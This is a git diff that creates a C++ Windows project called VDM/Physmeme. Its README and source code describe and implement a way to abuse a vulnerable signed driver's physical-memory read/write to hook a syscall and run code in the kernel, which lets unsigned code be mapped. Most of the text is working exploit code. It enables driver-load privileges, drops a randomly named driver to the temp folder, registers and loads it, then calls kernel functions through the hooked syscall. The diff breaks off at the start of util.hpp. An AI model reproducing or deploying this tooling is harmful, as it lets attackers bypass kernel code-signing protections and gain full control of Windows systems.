diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..c984ef1
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2020 xerox
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/README.md b/README.md
index 35b42ec..6eaf04c 100644
--- a/README.md
+++ b/README.md
@@ -1,3 +1,66 @@
-# VDM
+# Credits
-Vulnerable Driver Manipulation
\ No newline at end of file
+Before I begin, those who helped me create this project shall be credited.
+
+- [Can1357](https://blog.can.ac), for helping me find the correct page in physical memory.
+- Ch40zz, for helping me fix many issues in things I could never have fixed.
+- wlan, I used your drv_image class :)
+
+# Physmeme
+
+Given ANY map/unmap (read/write) of physical memory, one can now systematically map unsigned code into ones kernel.
+Many drivers expose this primitive and now can all be exploited by simply coding a few functions.
+
+### What drivers support physical read/write?
+
+Any driver exposing MmMapIoSpace/MmUnmapIoSpace or ZwMapViewOfSection/ZwUnmapViewOfSection can be exploited. This means bios flashing utils, fan speed utils
+(like MSI Afterburner), or general windows system utilities that expose physical read/write.
+
+If you are in any sort of doubt about the abundance of these drivers simply go to
+this page and ctrl-f "MmMapIoSpace". (24 results)
+
+### How does this exploit work?
+
+Since we are able to read/write to any physical memory on the system the goal is to find the physical page of a syscall. This can be done by calculating the offset into the page in which the syscall resides. Doing so is trivial and only requires the modulo operation.
+
+```cpp
+auto syscall_page_offet = rva % 0x1000;
+```
+
+Now that we know that the syscalls bytes are going to be that far into the physical page we can map each physical page into our process 512 at a time (2mb) and then
+check the page + page_offset and compare with the syscalls bytes. After we have the syscalls page we can install inline hooks and then call into the function.
+
+
+
+### How long does it take to find the physical page?
+
+Less then one second. For each physical memory range I create a thread that maps 2mb at a time of physical memory and scans each physical page. This is on a system with 16gb.
+
+In other words... its very fast, you wont need to worry about waiting to find the correct page.
+
+# DriverEntry
+
+you can change the paremeters you pass to driver entry simply by changing this:
+
+```cpp
+using DRIVER_INITIALIZE = NTSTATUS(__stdcall*)(std::uintptr_t, std::size_t);
+```
+
+right now your entry point should look like this:
+
+```cpp
+NTSTATUS DriverEntry(PVOID lpBaseAddress, DWORD32 dwSize)
+```
+
+The source the hello-world.sys is the following:
+
+```cpp
+#include
+
+NTSTATUS DriverEntry(PVOID lpBaseAddress, DWORD32 dwSize)
+{
+ DbgPrint("> Base Address: 0x%p, Size: 0x%x", lpBaseAddress, dwSize);
+ return STATUS_SUCCESS;
+}
+
+```
\ No newline at end of file
diff --git a/VDM.sln b/VDM.sln
new file mode 100644
index 0000000..f4c8931
--- /dev/null
+++ b/VDM.sln
@@ -0,0 +1,31 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.29613.14
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "VDM", "VDM\VDM.vcxproj", "{6578B958-DD53-4BE0-8011-009563919E73}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|x64 = Debug|x64
+ Debug|x86 = Debug|x86
+ Release|x64 = Release|x64
+ Release|x86 = Release|x86
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {6578B958-DD53-4BE0-8011-009563919E73}.Debug|x64.ActiveCfg = Debug|x64
+ {6578B958-DD53-4BE0-8011-009563919E73}.Debug|x64.Build.0 = Debug|x64
+ {6578B958-DD53-4BE0-8011-009563919E73}.Debug|x86.ActiveCfg = Debug|Win32
+ {6578B958-DD53-4BE0-8011-009563919E73}.Debug|x86.Build.0 = Debug|Win32
+ {6578B958-DD53-4BE0-8011-009563919E73}.Release|x64.ActiveCfg = Release|x64
+ {6578B958-DD53-4BE0-8011-009563919E73}.Release|x64.Build.0 = Release|x64
+ {6578B958-DD53-4BE0-8011-009563919E73}.Release|x86.ActiveCfg = Release|Win32
+ {6578B958-DD53-4BE0-8011-009563919E73}.Release|x86.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {FFE13E08-F538-4509-A3A3-7B16A9EEA923}
+ EndGlobalSection
+EndGlobal
diff --git a/VDM/VDM.vcxproj b/VDM/VDM.vcxproj
new file mode 100644
index 0000000..2e7c874
--- /dev/null
+++ b/VDM/VDM.vcxproj
@@ -0,0 +1,175 @@
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 16.0
+ {6578B958-DD53-4BE0-8011-009563919E73}
+ Win32Proj
+ physmeme
+ 10.0
+ VDM
+
+
+
+ Application
+ true
+ v142
+ MultiByte
+ false
+
+
+ Application
+ false
+ v142
+ true
+ MultiByte
+ false
+
+
+ Application
+ true
+ v142
+ MultiByte
+ false
+
+
+ Application
+ false
+ v142
+ true
+ MultiByte
+ false
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ true
+
+
+ false
+
+
+ false
+
+
+
+
+
+ TurnOffAllWarnings
+ true
+ _CRT_SECURE_NO_WARNINGS
+ true
+ stdcpp17
+
+
+ Console
+ true
+
+
+
+
+
+
+ TurnOffAllWarnings
+ true
+ _CRT_SECURE_NO_WARNINGS
+ true
+ stdcpp17
+
+
+ Console
+ true
+
+
+
+
+
+
+ TurnOffAllWarnings
+ true
+ true
+ true
+ _CRT_SECURE_NO_WARNINGS
+ true
+ stdcpp17
+ Disabled
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+
+
+ TurnOffAllWarnings
+ true
+ true
+ true
+ _CRT_SECURE_NO_WARNINGS
+ true
+ stdcpp17
+ Disabled
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/VDM/VDM.vcxproj.filters b/VDM/VDM.vcxproj.filters
new file mode 100644
index 0000000..89b24b4
--- /dev/null
+++ b/VDM/VDM.vcxproj.filters
@@ -0,0 +1,47 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;hm;inl;inc;ipp;xsd
+
+
+ {4fd2f117-66bb-4f75-af5b-b7e041a4dc48}
+
+
+ {c4aa2f98-70d4-418e-894d-4e1975e2bad2}
+
+
+
+
+ Source Files
+
+
+ Source Files
+
+
+
+
+ Header Files\util
+
+
+ Header Files\util
+
+
+ Header Files\vdm
+
+
+ Header Files\util
+
+
+ Header Files
+
+
+ Header Files\vdm
+
+
+
\ No newline at end of file
diff --git a/VDM/VDM.vcxproj.user b/VDM/VDM.vcxproj.user
new file mode 100644
index 0000000..35c2f93
--- /dev/null
+++ b/VDM/VDM.vcxproj.user
@@ -0,0 +1,19 @@
+
+
+
+ C:\Users\interesting\Desktop\hello-world.sys
+ WindowsLocalDebugger
+
+
+ C:\Users\interesting\Desktop\hello-world.sys
+ WindowsLocalDebugger
+
+
+ C:\Users\xerox\Desktop\physmeme\x64\Debug\hello-world.sys
+ WindowsLocalDebugger
+
+
+ C:\Users\xerox\Desktop\hello-world.sys
+ WindowsLocalDebugger
+
+
\ No newline at end of file
diff --git a/VDM/main.cpp b/VDM/main.cpp
new file mode 100644
index 0000000..0159eaf
--- /dev/null
+++ b/VDM/main.cpp
@@ -0,0 +1,38 @@
+#include "vdm_ctx/vdm_ctx.h"
+
+int __cdecl main(int argc, char** argv)
+{
+ const auto [drv_handle, drv_key] = vdm::load_drv();
+ if (!drv_handle || drv_key.empty())
+ {
+ std::printf("[!] unable to load vulnerable driver...\n");
+ return -1;
+ }
+
+ vdm::vdm_ctx vdm;
+ std::printf("[+] drv_handle -> 0x%x, drv_key -> %s\n", drv_handle, drv_key.c_str());
+ std::printf("[+] %s physical address -> 0x%p\n", vdm::syscall_hook.first, vdm::syscall_address.load());
+
+ const auto ntoskrnl_base =
+ reinterpret_cast(
+ util::get_module_base("ntoskrnl.exe"));
+
+ const auto ntoskrnl_memcpy =
+ util::get_kernel_export("ntoskrnl.exe", "memcpy");
+
+ std::printf("[+] ntoskrnl base address -> 0x%p\n", ntoskrnl_base);
+ std::printf("[+] ntoskrnl memcpy address -> 0x%p\n", ntoskrnl_memcpy);
+
+ short mz_bytes = 0;
+ vdm.syscall(ntoskrnl_memcpy, &mz_bytes, ntoskrnl_base, sizeof mz_bytes);
+ std::printf("[+] kernel MZ -> 0x%x\n", mz_bytes);
+
+ if (!vdm::unload_drv(drv_handle, drv_key))
+ {
+ std::printf("[!] unable to unload vulnerable driver...\n");
+ return -1;
+ }
+
+ std::printf("[+] press any key to close...\n");
+ std::getchar();
+}
\ No newline at end of file
diff --git a/VDM/util/loadup.hpp b/VDM/util/loadup.hpp
new file mode 100644
index 0000000..c2f2890
--- /dev/null
+++ b/VDM/util/loadup.hpp
@@ -0,0 +1,256 @@
+/*
+ MIT License
+
+ Copyright (c) 2020 xerox
+
+ Permission is hereby granted, free of charge, to any person obtaining a copy
+ of this software and associated documentation files (the "Software"), to deal
+ in the Software without restriction, including without limitation the rights
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ copies of the Software, and to permit persons to whom the Software is
+ furnished to do so, subject to the following conditions:
+
+ The above copyright notice and this permission notice shall be included in all
+ copies or substantial portions of the Software.
+
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ SOFTWARE.
+*/
+
+
+#pragma once
+#include
+#include
+#include
+#include
+#include
+
+#pragma comment(lib, "ntdll.lib")
+extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
+extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
+
+namespace driver
+{
+ namespace util
+ {
+ __forceinline auto delete_service_entry(const std::string& service_name) -> bool
+ {
+ HKEY reg_handle;
+ static const std::string reg_key("System\\CurrentControlSet\\Services\\");
+
+ auto result = RegOpenKeyA(
+ HKEY_LOCAL_MACHINE,
+ reg_key.c_str(),
+ ®_handle
+ );
+
+ return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
+ ERROR_SUCCESS == RegCloseKey(reg_handle);;
+ }
+
+ __forceinline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
+ {
+ HKEY reg_handle;
+ std::string reg_key("System\\CurrentControlSet\\Services\\");
+ reg_key += service_name;
+
+ auto result = RegCreateKeyA(
+ HKEY_LOCAL_MACHINE,
+ reg_key.c_str(),
+ ®_handle
+ );
+
+ if (result != ERROR_SUCCESS)
+ return false;
+
+ std::uint8_t type_value = 1;
+ result = RegSetValueExA(
+ reg_handle,
+ "Type",
+ NULL,
+ REG_DWORD,
+ &type_value,
+ 4u
+ );
+
+ if (result != ERROR_SUCCESS)
+ return false;
+
+ std::uint8_t error_control_value = 3;
+ result = RegSetValueExA(
+ reg_handle,
+ "ErrorControl",
+ NULL,
+ REG_DWORD,
+ &error_control_value,
+ 4u
+ );
+
+ if (result != ERROR_SUCCESS)
+ return false;
+
+ std::uint8_t start_value = 3;
+ result = RegSetValueExA(
+ reg_handle,
+ "Start",
+ NULL,
+ REG_DWORD,
+ &start_value,
+ 4u
+ );
+
+ if (result != ERROR_SUCCESS)
+ return false;
+
+ result = RegSetValueExA(
+ reg_handle,
+ "ImagePath",
+ NULL,
+ REG_SZ,
+ (std::uint8_t*) drv_path.c_str(),
+ drv_path.size()
+ );
+
+ if (result != ERROR_SUCCESS)
+ return false;
+
+ return ERROR_SUCCESS == RegCloseKey(reg_handle);
+ }
+
+ __forceinline auto enable_privilege(const std::wstring& privilege_name) -> bool
+ {
+ HANDLE token_handle = nullptr;
+ if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
+ return false;
+
+ LUID luid{};
+ if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
+ return false;
+
+ TOKEN_PRIVILEGES token_state{};
+ token_state.PrivilegeCount = 1;
+ token_state.Privileges[0].Luid = luid;
+ token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+
+ if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
+ return false;
+
+ CloseHandle(token_handle);
+ return true;
+ }
+
+ __forceinline auto get_service_image_path(const std::string& service_name) -> std::string
+ {
+ HKEY reg_handle;
+ DWORD bytes_read;
+ char image_path[0xFF];
+ static const std::string reg_key("System\\CurrentControlSet\\Services\\");
+
+ auto result = RegOpenKeyA(
+ HKEY_LOCAL_MACHINE,
+ reg_key.c_str(),
+ ®_handle
+ );
+
+ result = RegGetValueA(
+ reg_handle,
+ service_name.c_str(),
+ "ImagePath",
+ REG_SZ,
+ NULL,
+ image_path,
+ &bytes_read
+ );
+
+ RegCloseKey(reg_handle);
+ return std::string(image_path);
+ }
+ }
+
+ __forceinline auto load(const std::string& drv_path, const std::string& service_name) -> bool
+ {
+ if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
+ return false;
+
+ if (!util::create_service_entry("\\??\\" +
+ std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
+ return false;
+
+ std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
+ reg_path += service_name;
+
+ ANSI_STRING driver_rep_path_cstr;
+ UNICODE_STRING driver_reg_path_unicode;
+
+ RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
+ RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
+ return ERROR_SUCCESS == NtLoadDriver(&driver_reg_path_unicode);
+ }
+
+ __forceinline auto load(const std::vector& drv_buffer) -> std::tuple
+ {
+ static const auto random_file_name = [](std::size_t length) -> std::string
+ {
+ static const auto randchar = []() -> char
+ {
+ const char charset[] =
+ "0123456789"
+ "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ "abcdefghijklmnopqrstuvwxyz";
+ const std::size_t max_index = (sizeof(charset) - 1);
+ return charset[rand() % max_index];
+ };
+ std::string str(length, 0);
+ std::generate_n(str.begin(), length, randchar);
+ return str;
+ };
+
+ const auto service_name = random_file_name(16);
+ const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
+ std::ofstream output_file(file_path.c_str(), std::ios::binary);
+
+ output_file.write((char*)drv_buffer.data(), drv_buffer.size());
+ output_file.close();
+
+ return { load(file_path, service_name), service_name };
+ }
+
+ __forceinline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::tuple
+ {
+ std::vector image(buffer, buffer + size);
+ return load(image);
+ }
+
+ __forceinline auto unload(const std::string& service_name) -> bool
+ {
+ std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
+ reg_path += service_name;
+
+ ANSI_STRING driver_rep_path_cstr;
+ UNICODE_STRING driver_reg_path_unicode;
+
+ RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
+ RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
+
+ const bool unload_drv = STATUS_SUCCESS == NtUnloadDriver(&driver_reg_path_unicode);
+ const auto image_path = std::filesystem::temp_directory_path().string() + service_name;
+ const bool delete_reg = util::delete_service_entry(service_name);
+
+ // sometimes you cannot delete the driver off disk because there are still handles open
+ // to the driver, this means the driver is still loaded into the kernel...
+ try
+ {
+ std::filesystem::remove(image_path);
+ }
+ catch (std::exception& e)
+ {
+ return false;
+ }
+ return delete_reg && unload_drv;
+ }
+}
\ No newline at end of file
diff --git a/VDM/util/nt.hpp b/VDM/util/nt.hpp
new file mode 100644
index 0000000..21c87d4
--- /dev/null
+++ b/VDM/util/nt.hpp
@@ -0,0 +1,29 @@
+#pragma once
+#include
+#include
+
+#pragma comment(lib, "ntdll.lib")
+#define PAGE_4KB 0x1000
+
+constexpr auto SystemModuleInformation = 11;
+typedef struct _RTL_PROCESS_MODULE_INFORMATION
+{
+ HANDLE Section;
+ PVOID MappedBase;
+ PVOID ImageBase;
+ ULONG ImageSize;
+ ULONG Flags;
+ USHORT LoadOrderIndex;
+ USHORT InitOrderIndex;
+ USHORT LoadCount;
+ USHORT OffsetToFileName;
+ UCHAR FullPathName[256];
+} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
+
+typedef struct _RTL_PROCESS_MODULES
+{
+ ULONG NumberOfModules;
+ RTL_PROCESS_MODULE_INFORMATION Modules[1];
+} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
+
+typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS;
\ No newline at end of file
diff --git a/VDM/util/util.hpp b/VDM/util/util.hpp
new file mode 100644
index 0000000..c7f87d7
--- /dev/null
+++ b/VDM/util/util.hpp
@@ -0,0 +1,205 @@
+#pragma once
+#include
+#include
+
+#include
+#include
+#include
+#include
+#include